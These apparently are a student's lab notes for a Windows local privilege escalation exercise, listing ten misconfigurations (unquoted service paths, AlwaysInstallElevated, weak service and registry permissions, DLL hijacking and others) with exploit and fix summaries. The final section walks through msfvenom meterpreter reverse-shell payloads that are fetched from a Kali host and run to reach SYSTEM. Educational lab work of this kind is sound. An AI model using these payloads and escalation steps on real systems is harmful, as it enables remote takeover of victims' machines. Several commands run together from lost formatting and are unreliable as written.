Repository navigation
Module 2‐ Lab Notes
- Objective: Setup insecure settings on Windows 10 VM that allow local privilege escalation.
-
Download the winlocalpriv_escalation.zip file from Canvas. Password for the archive is: password.
-
Unzip the file and open an elevated Powershell prompt, change to the directory of the unzipped file. Run:
.\Setup-Lab.ps1 -BenignServicePath “./benign-service/benign-service.exe” -ExploitPayloadPath "exploit-payload/exploit-payload.exe" -LabUser "champuser"
- Document the bypass method.
- I ended up giving the bypass method to CurrentUser for ease.
Document the 10 vulnerabilities to explain how it elevates privileges. This should explain what specific weakness is being exploited.
- Occurs when a Windows service path contains spaces and lacks enclosing quotation marks.
- Write a short summary on how to exploit each vulnerability.
- If an attacker has permissions to an earlier parent file and adds a .exe, windows will execute it with elevated permissions upon service startup.
- Write a short summary on how to fix each vulnerability.
- To fix you can either always put commands in quotation marks or change permissions to only elevated users can write and modify root folders/directories.
- A Windows policy that forces the Windows Installer (msiexec) to run any .msi package with highest-level SYSTEM privileges, even when launched by a standard, unprivileged user.
- Write a short summary on how to exploit each vulnerability.
- To install a package with elevated privileges, set the AlwaysInstallElevated value to 1 under both of the following registry keys:
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
- Write a short summary on how to fix each vulnerability.
- You can either set both keys to 0, remove them completely, or create a group policy to disable the always install with elevated priviledges to disabled.
- A low privileged user is allowed to change service configuration and overwrite the binary the service launches when it starts.
- Write a short summary on how to exploit each vulnerability.
- You can use sc config binpath= "" to point the service at an attacker-controlled executable, then restart the service so it runs the malicious binary with the service's privileges.
- Write a short summary on how to fix each vulnerability.
- Restrict the service's security descriptor so only Administrators or system have service/change/config rights, following least-privilege for service ACLs.
- Additional Resource
- Allows an unprivileged user to escalate privileges to NT AUTHORITY\SYSTEM by modifying the service's ImagePath registry key to point to a malicious binary.
- Write a short summary on how to exploit each vulnerability.
- An attacker can modify the ImagePath value to point to a malicious executable, then restart or wait for the service to launch it, achieving privilege escalation.
- Write a short summary on how to fix each vulnerability.
- Adjust permissions on registry hives initiated through this mechanism
- Occurs when an application searches for a required Dynamic Link Library (DLL) in an insecure directory, allowing an attacker to place a malicious DLL in that path and execute code.
- Write a short summary on how to exploit each vulnerability.
- Exploit by tricking a legitimate Windows application into loading a malicious DLL instead of the intended one.
- Write a short summary on how to fix each vulnerability.
- Secure the DLL Search Order and restrict File System Permissions
- Write a short summary on how to exploit each vulnerability.
- When a service's binary path contains spaces and isn't wrapped in quotes, so a low-privileged user with write access to one of those parent directories can drop a malicious executable named to match one of those segments and have it run with the service's privileges when the service starts.
- Write a short summary on how to fix each vulnerability.
- Wrap the service's binary path in quotation marks.
- Write a short summary on how to exploit each vulnerability.
- If a directory listed in the system or user PATH environment variable is writable by a low-privileged user, an attacker can place a malicious executable or DLL with the same name as one a privileged process/service will load, so that when that process runs, it loads the attacker's file instead of the legitimate one, running with elevated privileges.
- Write a short summary on how to fix each vulnerability.
- Ensure all directories in the PATH are writable only by Administrators/SYSTEM, remove unnecessary or non-existent entries from PATH, and have applications load DLLs using fully-qualified paths rather than relying on search order.
-
Write a short summary on how to exploit each vulnerability.
- If a low-privileged user has write access to a Startup folder that runs on another user's logon, such as the All Users Startup folder (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp) — they can drop a malicious executable or shortcut there so it automatically executes with that user's privileges the next time they log in.
-
Write a short summary on how to fix each vulnerability.
- Restrict write access to Startup folders (especially the all-users/common Startup folder) to Administrators/SYSTEM only, and periodically audit their contents for unauthorized entries.
-
Write a short summary on how to exploit each vulnerability.
- Exploit Unattended files by reading their contents to obtain encoded passwords and gain unauthorized access to privileged accounts or sensitive resources.
-
Write a short summary on how to fix each vulnerability.
- Ensure that password fields utilize strong encryption formats, or consider removing them if they are not necessary for the use of these files.
-
Write a short summary on how to exploit each vulnerability.
- Attackers can use the netapi32 library and Windows Management Instrumentation (WMI) to create a scheduled task
-
Write a short summary on how to fix each vulnerability.
- Ensure scheduled task binaries and their containing directories are writable only by Administrators/SYSTEM, restrict who can create/modify/delete scheduled tasks, and regularly audit existing tasks for unauthorized or unexpected entries.
Create a payload with msfvenom, start a Metasploit listener, and Elevate ‘champuser’ to the SYSTEM context
- In a terminal execute the two commands below, where LHOST = Kali IP and LPORT = The port you want to listen on:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.17.49 LPORT=4444 -f exe > svchost64.exemsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.17.49 LPORT=4444 -f msi > elevate.msi
- Set up another connection on a kali port with the following command:
python3 -m http.server 8000
- On your windows vm curl the executable you just created on Kali
curl.exe http://10.0.17.49:8000/svchost64.exe -o svchost64.execurl.exe http://10.0.17.49:8000/elevate.msi -o elevate.msi
- Open the msfconsole with the following command:
msfconsole -q
- Input this into the console
jobs -Kuse exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset LHOST <IP>set LPORT <PORT>set ExitOnSession falseexploit -j
- To confirm that it is running on the background of windows:
jobs
-
Objective: Exploit vulnerabilities.
- Exploit 3 of the 10 vulnerabilities to obtain SYSTEM level privileges using the ‘champuser’ account. Use the resources found from Task #3.
-
Ensure that registry keys are set on Windows:
Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevatedGet-ItemProperty "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated
-
KALI MACHINE: start rat and listening port up
python3 -m http.server 8000
-
WINDOWS MACHINE: Curl the elevate.msi package to your windows machine and execute
curl "http://10.0.17.49:8000/elevate.msi -o elevate.msi.\elevate.msi
-
KALI MACHINE: Review your jobs and sessions on the MSF:
- type enter to write your command.
-
jobswill show you your current vulnerabilities.
-
sessionswill show your active sessions - We know that it worked because under information we are running with SYSTEM priviledges.
-
KALI MACHINE: Create your vulnerable.exe file and start up your server again.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.17.49 LPORT=4444 -f exe-service > Vulnerable.exepython3 -m http.server 8000
-
WINDOWS MACHINE: CD to your vulnerable service folder and curl vulnerable.exe into that folder
cd "C:\Program Files\Vulnerable Service"curl "http://10.0.17.49:8000/Vulnerable.exe -o Vulnerable.exe- Check that it is there with
dir - Open Windows Services and scroll to Vulnerable Service, right click, and select start
-
KALI MACHINE:
- Check
jobsandsessionsto see if it worked.
- Check
-
WINDOWS MACHINE: cd to your missing folder, curl vulnerable.exe into the folder, change the name to missing.exe
cd "C:\Program Files\Missing App"curl "http://10.0.17.49:8000/Vulnerable.exe -o Vulnerable.exemv .\Vulnerable.exe .\missing.exedir
-
KALI MACHINE: Start your server up
python3 -m http.server 8000
-
WINDOWS MACHINE: Go back to Windows Services and start up missing service
- KALI MACHINE: Check Sessions and Jobs:
- What did you like the most about this assignment?
- I really enjoyed doing the exploits once I got the hang of things. It is so horrifying how easy it was to exploit once I understood how.
- What did you like the least about this assignment?
- I felt as though the instructions were a little bit unclear in places, and there was a lot of different moving parts happening. This left me a little bit confused and unsure where to move on.